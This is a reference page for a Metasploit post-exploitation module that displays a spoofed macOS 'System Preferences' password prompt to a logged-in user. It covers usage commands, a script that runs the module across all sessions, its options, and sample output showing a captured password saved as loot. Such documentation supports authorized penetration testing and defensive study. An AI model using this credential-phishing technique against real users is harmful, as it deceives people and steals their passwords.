OSX Password Prompt Spoof - Metasploit
This page contains detailed information about how to use the post/osx/gather/password_prompt_spoof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: OSX Password Prompt Spoof
Module: post/osx/gather/password_prompt_spoof
Source code: modules/post/osx/gather/password_prompt_spoof.rb
Disclosure date: -
Last modification time: 2020-02-13 16:17:33 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Presents a password prompt dialog to a logged-in OSX user.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/osx/gather/password_prompt_spoof
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/osx/gather/password_prompt_spoof
msf post(password_prompt_spoof) > show options
... show and set options ...
msf post(password_prompt_spoof) > set SESSION session-id
msf post(password_prompt_spoof) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/osx/gather/password_prompt_spoof")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
Presents a password prompt dialog to a logged-in OSX user. Depending on the version of OSX, additional steps may be necessary to allow permission for the prompt to be displayed. See Scenarios for additional details.
Verification Steps
- Start msfconsole
- Get a shell, user level is fine.
- Do:
use post/osx/gather/password_prompt_spoof
- Do:
set session #
- Do:
run
- The user will be prompted to enter their password, or complete additional steps.
Options
BUNDLEPATH
Path to bundle containing icon. Default is /System/Library/CoreServices/CoreTypes.bundle
.
ICONFILE
Icon filename relative to bundle. Default is UserUnknownIcon.icns
TEXTCREDS
Text displayed when asking for a password. Default is Type your password to allow System Preferences to make changes
.
TIMEOUT
Timeout for user to enter credentails. Default is 60
. Newer versions of OSX may require additional time due to user interaction.
Scenarios
User level shell on OSX 10.14.4
If the user does not complete the prompt in time, or does not enable permissions to receive the prompt:
msf5 post(osx/gather/password_prompt_spoof) > run
[*] Running module against MacBook-Pro.nogroup
[*] Waiting for user 'h00die' to enter credentials...
[*] Timeout period expired before credentials were entered!
[*] Cleaning up files in MacBook-Pro.nogroup:/tmp/.SGFvISFemjti
[*] Post module execution completed
If the user DOES complete the prompt in time:
msf5 post(osx/gather/password_prompt_spoof) > run
[*] Running module against MacBook-Pro.nogroup
[*] Waiting for user 'h00die' to enter credentials...
[*] Password entered! What a nice compliant user...
[+] password file contents: 20190415_122536:h00die:alfalfasprouts!
[+] Password data stored as loot in: /loot/20190415122537_default_192.168.2.225_password_355107.txt
[*] Cleaning up files in MacBook-Pro.nogroup:/tmp/.jJATztdro
[*] Post module execution completed
User Experience
The following screen shots are from OSX 10.14.4 from a ssh_login
shell as the user. Executable may change depending on the shell type and user permissions.
The user is first prompts for additional permissions (System Events):
<img width="423" alt="Screen Shot 2019-04-15 at 12 19 38 PM" src="https://user-images.githubusercontent.com/752491/56173728-ead79c80-5fbc-11e9-8a8f-3b3265220c95.png">
Next, the user is prompted to allow Accessibility Access (Events):
<img width="463" alt="Screen Shot 2019-04-15 at 12 20 08 PM" src="https://user-images.githubusercontent.com/752491/56173737-f4f99b00-5fbc-11e9-9dcc-efbfe0cd08eb.png">
Clicking Open System Preferences shows the executable asking for the permissions. The screenshot was taken after clicking the lock in the bottom left corner,
and checking sshd-keygen-wrapper
:
<img width="670" alt="Screen Shot 2019-04-15 at 12 24 27 PM" src="https://user-images.githubusercontent.com/752491/56173742-fa56e580-5fbc-11e9-8d28-5669e9e9448f.png">
Finally, if done within the TIMEOUT
(or with all required permissions):
<img width="424" alt="Screen Shot 2019-04-15 at 12 25 25 PM" src="https://user-images.githubusercontent.com/752491/56173748-fe830300-5fbc-11e9-9564-0e7137b051a8.png">
Go back to menu.
Msfconsole Usage
Here is how the osx/gather/password_prompt_spoof post exploitation module looks in the msfconsole:
msf6 > use post/osx/gather/password_prompt_spoof
msf6 post(osx/gather/password_prompt_spoof) > show info
Name: OSX Password Prompt Spoof
Module: post/osx/gather/password_prompt_spoof
Platform: OSX
Arch:
Rank: Normal
Provided by:
Joff Thyer <[email protected]>
joev <[email protected]>
Peter Toth <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BUNDLEPATH /System/Library/CoreServices/CoreTypes.bundle yes Path to bundle containing icon
ICONFILE UserUnknownIcon.icns yes Icon filename relative to bundle
SESSION yes The session to run this module on.
TEXTCREDS Type your password to allow System Preferences to make changes yes Text displayed when asking for password
TIMEOUT 60 yes Timeout for user to enter credentials
Description:
Presents a password prompt dialog to a logged-in OSX user.
References:
http://blog.packetheader.net/2011/10/fun-with-applescript.html
Module Options
This is a complete list of options available in the osx/gather/password_prompt_spoof post exploitation module:
msf6 post(osx/gather/password_prompt_spoof) > show options
Module options (post/osx/gather/password_prompt_spoof):
Name Current Setting Required Description
---- --------------- -------- -----------
BUNDLEPATH /System/Library/CoreServices/CoreTypes.bundle yes Path to bundle containing icon
ICONFILE UserUnknownIcon.icns yes Icon filename relative to bundle
SESSION yes The session to run this module on.
TEXTCREDS Type your password to allow System Preferences to make changes yes Text displayed when asking for password
TIMEOUT 60 yes Timeout for user to enter credentials
Advanced Options
Here is a complete list of advanced options supported by the osx/gather/password_prompt_spoof post exploitation module:
msf6 post(osx/gather/password_prompt_spoof) > show advanced
Module advanced options (post/osx/gather/password_prompt_spoof):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the osx/gather/password_prompt_spoof module can do:
msf6 post(osx/gather/password_prompt_spoof) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the osx/gather/password_prompt_spoof post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(osx/gather/password_prompt_spoof) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Invalid session ID selected. Make sure the host isn't dead.
Here is a relevant code snippet related to the "Invalid session ID selected. Make sure the host isn't dead." error message:
61: # end
62:
63: # Run Method for when run command is issued
64: def run
65: if client.nil?
66: print_error("Invalid session ID selected. Make sure the host isn't dead.")
67: return
68: end
69:
70: host = case session.type
71: when /meterpreter/
Go back to menu.
Related Pull Requests
- #12931 Merged Pull Request: Fix post/osx/gather/password_prompt_spoof
- #11737 Merged Pull Request: osx/gather/password_prompt_spoof now stores password
- #11733 Merged Pull Request: osx docs and cleanup
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2704 Merged Pull Request: The module was not working on my Mavericks...
- #2525 Merged Pull Request: Change module boilerplate
- #2479 Merged Pull Request: Better fix for #2476
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #2220 Merged Pull Request: Feature/osx password prompt spoof post module v2
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/netbios/netbios_spoof
- auxiliary/server/dns/spoofhelper
- auxiliary/server/netbios_spoof_nat
- auxiliary/spoof/arp/arp_poisoning
- auxiliary/spoof/cisco/cdp
- auxiliary/spoof/cisco/dtp
- auxiliary/spoof/dns/bailiwicked_domain
- auxiliary/spoof/dns/bailiwicked_host
- auxiliary/spoof/dns/compare_results
- auxiliary/spoof/dns/native_spoofer
- auxiliary/spoof/llmnr/llmnr_response
- auxiliary/spoof/mdns/mdns_response
- auxiliary/spoof/nbns/nbns_response
- auxiliary/spoof/replay/pcap_replay
- auxiliary/voip/sip_invite_spoof
- exploit/windows/fileformat/winrar_name_spoofing
- post/linux/manage/dns_spoofing
- post/osx/gather/apfs_encrypted_volume_passwd
- post/osx/gather/autologin_password
- post/osx/gather/enum_adium
- post/osx/gather/enum_airport
- post/osx/gather/enum_chicken_vnc_profile
- post/osx/gather/enum_colloquy
- post/osx/gather/enum_keychain
- post/osx/gather/enum_messages
- post/osx/gather/enum_osx
- post/osx/gather/gitignore
- post/osx/gather/hashdump
- post/osx/gather/safari_lastsession
- post/osx/gather/vnc_password_osx
Authors
- Joff Thyer <jsthyer[at]gmail.com>
- joev
- Peter Toth <globetother[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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